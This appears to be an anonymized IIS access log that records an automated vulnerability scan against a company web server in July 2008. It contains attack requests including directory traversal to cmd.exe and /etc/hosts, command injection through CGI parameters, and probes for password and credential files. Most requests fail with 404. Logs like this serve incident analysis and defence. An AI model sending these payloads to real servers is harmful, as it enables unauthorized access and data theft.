www.companyname.com - - - 2008-07-29 09:07:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/clickresponder.pl - 404 3 3396 68 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/robpoll.cgi - 404 3 3396 62 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /nonexistant.pl - 404 2 3396 57 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/formmail.cgi - 404 3 3396 63 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /config/html/cnf_gi.htm - 404 3 3396 68 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs/expeval/displayopenedfile.cfm - 404 3 3396 79 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /code.php3 index.shtml 404 2 3396 64 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs/expeval/exprcalc.cfm - 404 3 3396 70 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /main.asp - 404 2 3396 54 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs/expeval/openfile.cfm - 404 3 3396 70 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/sawmill - 404 3 3396 58 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /iissamples/exair/howitworks/codebrws.asp |-|0|404_Object_Not_Found 404 0 3555 83 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/ - 404 2 3396 51 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/webmail.cgi - 404 3 3396 62 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /search.dll search?query=%00&logic=AND 404 2 3396 80 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/ncommerce3/ExecMacro/macro.d2w/ 404 3 3396 88 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /showfile.asp |-|0|404_Object_Not_Found 404 0 3555 55 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /Sites/Samples/Knowledge/Membership/Inspiredtutorial/ViewCode.asp|-|0|404_Object_Not_Found 404 0 3555 107 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/news.cgi - 404 3 3396 59 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /_vti_bin/shtml.dll - 404 3 3396 61 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /siteman000510/siteman.php3 A=U&D= 404 3 3396 76 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/DCFORMS98.CGI - 404 3 3396 64 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/ssi/ - 404 3 3396 55 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /doc/packages/ - 404 3 3396 56 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /usr/lib/xvcad/ - 404 3 3396 32 0 HTTP/1.0 - - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/lister - 404 3 3396 32 0 HTTP/1.0 - - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /ultraboard.pl - 404 2 3396 56 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/wais.pl - 404 3 3396 33 0 HTTP/1.0 - - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/test.bat - 404 3 3396 59 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/bb-replog.sh - 404 3 3396 38 0 HTTP/1.0 - - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /includes/global.inc - 404 3 3396 62 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/websync.exe ed=&Es=7x1x101&un=nahual&hn=lab&rpt=/scheduler/En_US/WebResources& cbn=/cgi-bin/websync.exe&dow=sun&dmy=Off&tfh=Off&lan=En_US&ix=0&amd=2& epw=WiXwWFp&mrd=-1&mrc=0&mrb=0&bnv=9&ds=7x1x101&tzs=PST8PDT 404 3 3396 258 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/majordomo.pl - 404 3 3396 63 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /way-board/way-board.cgi - 404 3 3396 41 0 HTTP/1.0 - - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /WCB/databases/instructors.passwd - 404 3 3396 50 0 HTTP/1.0 - - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/passwd.txt+.pl - 404 3 3396 67 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/uploadn.asp |-|0|404_Object_Not_Found 404 0 3555 62 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /interscan/cgi-bin/HttpSaveCSP.dll - 404 3 3396 51 0 HTTP/1.0 - - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/websendmail.cgi - 404 3 3396 41 0 HTTP/1.0 - - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/cartmanager.cgi - 404 3 3396 41 0 HTTP/1.0 - - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /random_banner/index.cgi - 404 3 3396 41 0 HTTP/1.0 - - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/default.asp+.pl - 404 3 3396 43 0 HTTP/1.0 - - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/cart.pl - 404 3 3396 33 0 HTTP/1.0 - - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/htgrep/ - 404 3 3396 33 0 HTTP/1.0 - - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/webplus.cgi Script=/webplus/webping/webping.wml 404 3 3396 73 0 HTTP/1.0 - - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/webspirs.cgi - 404 3 3396 38 0 HTTP/1.0 - - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-shl/win-c-sample.exe - 404 3 3396 42 0 HTTP/1.0 - - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/webwho.pl - 404 3 3396 35 0 HTTP/1.0 - - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /code.php3 common.inc 404 2 3396 38 0 HTTP/1.0 - - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/WINDMAIL.EXE - 404 3 3396 38 0 HTTP/1.0 - - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /wwwboard/passwd.txt - 404 3 3396 37 0 HTTP/1.0 - - - - 2008-07-29 09:07:29 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/wwwboard.cgi - 404 3 3396 38 0 HTTP/1.0 - - - - 2008-07-29 09:07:30 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /etc/passwd - 404 3 3396 61 0 HTTP/1.0 - - - - 2008-07-29 09:07:30 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/forums/list.php - 404 3 3396 41 0 HTTP/1.0 - - - - 2008-07-29 09:07:30 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/replicator/webpage.cgi/ - 404 3 3396 49 0 HTTP/1.0 - - - - 2008-07-29 09:07:30 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /perl/files.pl - 404 3 3396 31 0 HTTP/1.0 - - - - 2008-07-29 09:07:30 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /Sites/Knowledge/Membership/Inspiredtutorial/ViewCode.asp |-|0|404_Object_Not_Found 404 0 3555 74 0 HTTP/1.0 - - - - 2008-07-29 09:07:30 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /usr/bin/FlagShip_p - 404 3 3396 36 0 HTTP/1.0 - - - - 2008-07-29 09:07:30 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/fpcount.exe - 404 3 3396 37 0 HTTP/1.0 - - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /_vti_pvt/authors.pwd - 404 3 3396 38 0 HTTP/1.0 - - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /_vti_pvt/service.pwd - 404 3 3396 38 0 HTTP/1.0 - - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/apexec.pl - 404 3 3396 60 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /_vti_pvt/users.pwd - 404 3 3396 36 0 HTTP/1.0 - - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /usr/lib/xvcad/ - 404 3 3396 57 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/lister - 404 3 3396 57 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/ustorekeeper.pl command=goto&file=../../../../../../../../etc/hosts 404 3 3396 93 0 HTTP/1.0 - - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/db2www/library/document.d2w/show - 404 3 3396 58 0 HTTP/1.0 - - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/wais.pl - 404 3 3396 58 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /pollit/Poll_It_v2.0.cgi - 404 3 3396 41 0 HTTP/1.0 - - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /iisadmpwd/ - 404 2 3396 28 0 HTTP/1.0 - - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /iissamples/ - 404 2 3396 29 0 HTTP/1.0 - - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/bb-replog.sh - 404 3 3396 63 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /global.asa+.htr - 200 0 340 33 0 HTTP/1.0 - - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /iisadmin/ - 404 2 3396 27 0 HTTP/1.0 - - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /way-board/way-board.cgi - 404 3 3396 66 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /iishelp/ - 404 2 3396 26 0 HTTP/1.0 - - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/a1stats/a1disp.cgi |echo%20>a1admin.txt| 404 3 3396 66 0 HTTP/1.0 - - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /WCB/databases/instructors.passwd - 404 3 3396 75 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/..%5c..%5c/..%5c..%5c/..%5c..%5c/winnt/system32/cmd.exe /c+dir+c:\ 404 3 3396 104 0 HTTP/1.0 - - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /interscan/cgi-bin/HttpSaveCSP.dll - 404 3 3396 76 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/Carello/Carello.dll CARELLOCODE=SITE2&VBEXE=C:\..\winnt\system32\cmd.exe %20/c%20echo%20test>c:\defcom.txt 404 3 3396 131 0 HTTP/1.0 - - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /random_banner/index.cgi - 404 3 3396 66 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/websendmail.cgi - 404 3 3396 66 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/cartmanager.cgi - 404 3 3396 66 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/default.asp+.pl - 404 3 3396 68 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/cart.pl - 404 3 3396 58 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/htgrep/ - 404 3 3396 58 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/webspirs.cgi - 404 3 3396 63 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/webwho.pl - 404 3 3396 60 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/webplus.cgi Script=/webplus/webping/webping.wml 404 3 3396 98 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/WINDMAIL.EXE - 404 3 3396 63 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /wwwboard/passwd.txt - 404 3 3396 62 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-shl/win-c-sample.exe - 404 3 3396 67 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /code.php3 common.inc 404 2 3396 63 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/wwwboard.cgi - 404 3 3396 63 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /etc/passwd - 404 3 3396 86 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/forums/list.php - 404 3 3396 66 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/replicator/webpage.cgi/ - 404 3 3396 74 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /perl/files.pl - 404 3 3396 56 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:31 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /Sites/Knowledge/Membership/Inspiredtutorial/ViewCode.asp |-|0|404_Object_Not_Found 404 0 3555 99 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:32 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /usr/bin/FlagShip_p - 404 3 3396 61 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:32 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /officescan/cgi/jdkRqNotify.exe - 404 3 3396 73 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:32 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /graphics/sml3com - 404 3 3396 34 0 HTTP/1.0 - - - - 2008-07-29 09:07:32 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /_vti_pvt/service.pwd - 404 3 3396 63 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:32 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /_vti_pvt/users.pwd - 404 3 3396 61 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:32 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /usr/bin/xvcad/glib/ - 404 3 3396 37 0 HTTP/1.0 - - - - 2008-07-29 09:07:32 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/cvsweb.cgi - 404 3 3396 36 0 HTTP/1.0 - - - - 2008-07-29 09:07:32 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /sensepost.exe /c+dir 404 2 3396 85 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:32 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/ustorekeeper.pl command=goto&file=../../../../../../../../etc/hosts 404 3 3396 118 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:32 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/db.cgi - 404 3 3396 57 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:32 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/directorypro.cgi want=showcat&show=../../../..//etc/motd%00 404 3 3396 85 0 HTTP/1.0 - - - - 2008-07-29 09:07:32 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/db2www/library/document.d2w/show - 404 3 3396 83 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:32 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/wais - 404 3 3396 30 0 HTTP/1.0 - - - - 2008-07-29 09:07:32 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /pollit/Poll_It_v2.0.cgi - 404 3 3396 66 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:32 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /iisadmpwd/ - 404 2 3396 53 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:32 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/bb-rep.sh - 404 3 3396 35 0 HTTP/1.0 - - - - 2008-07-29 09:07:32 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/viewsrc.cgi - 404 3 3396 38 0 HTTP/1.0 - - - - 2008-07-29 09:07:32 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /iishelp/ - 404 2 3396 51 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:32 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /global.asa+.htr - 200 0 340 58 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:32 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/a1stats/a1disp.cgi |echo%20>a1admin.txt| 404 3 3396 91 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:32 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /interscan/cgi-bin/FtpSave.dll I'm%20here 404 3 3396 58 0 HTTP/1.0 - - - - 2008-07-29 09:07:32 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/..%5c..%5c/..%5c..%5c/..%5c..%5c/winnt/system32/cmd.exe /c+dir+c:\ 404 3 3396 129 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:32 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/CatalogMgr.pl cartID=<valid-id>&template=CatalogMgr.pl 404 3 3396 80 0 HTTP/1.0 - - - - 2008-07-29 09:07:32 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /interscan/cgi-bin/FtpSaveCVP.dll - 404 3 3396 50 0 HTTP/1.0 - - - - 2008-07-29 09:07:32 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/tradecli.dll - 404 3 3396 39 0 HTTP/1.0 - - - - 2008-07-29 09:07:32 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /iissamples/issamples/fastq.idq - 200 0 336 48 0 HTTP/1.0 - - - - 2008-07-29 09:07:32 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/Carello/Carello.dll CARELLOCODE=SITE2&VBEXE=C:\..\winnt\system32\cmd.exe %20/c%20echo%20test>c:\defcom.txt 404 3 3396 156 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:32 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/htimage.exe 2,2 404 3 3396 41 0 HTTP/1.0 - - - - 2008-07-29 09:07:32 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/DCShop - 404 3 3396 32 0 HTTP/1.0 - - - - 2008-07-29 09:07:32 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /code.php3 - 404 2 3396 27 0 HTTP/1.0 - - - - 2008-07-29 09:07:32 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /C:/ - 404 123 3396 30 0 HTTP/1.0 - - - - 2008-07-29 09:07:33 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /Sites/Knowledge/Membership/Inspired/ViewCode.asp |-|0|404_Object_Not_Found 404 0 3555 66 0 HTTP/1.0 - - - - 2008-07-29 09:07:33 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /usr/bin/FlagShip_c - 404 3 3396 36 0 HTTP/1.0 - - - - 2008-07-29 09:07:33 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /graphics/sml3com - 404 3 3396 59 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:33 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /usr/bin/xvcad/glib/ - 404 3 3396 62 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:33 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cmd1.exe /c+dir 404 2 3396 55 0 HTTP/1.0 - - - - 2008-07-29 09:07:33 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/cvsweb.cgi - 404 3 3396 61 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:33 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/directorypro.cgi want=showcat&show=../../../..//etc/motd%00 404 3 3396 110 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:33 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/pollit/Poll_It_SSI_v2.0.cgi - 404 3 3396 53 10 HTTP/1.0 - - - - 2008-07-29 09:07:33 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/bb-rep.sh - 404 3 3396 60 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:33 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/viewsrc.cgi - 404 3 3396 63 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:33 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /interscan/cgi-bin/FtpSave.dll I'm%20here 404 3 3396 83 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:33 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/..%5c..%5c/..%5c..%5c/winnt/system32/cmd.exe /c+dir+c:\ 404 3 3396 89 0 HTTP/1.0 - - - - 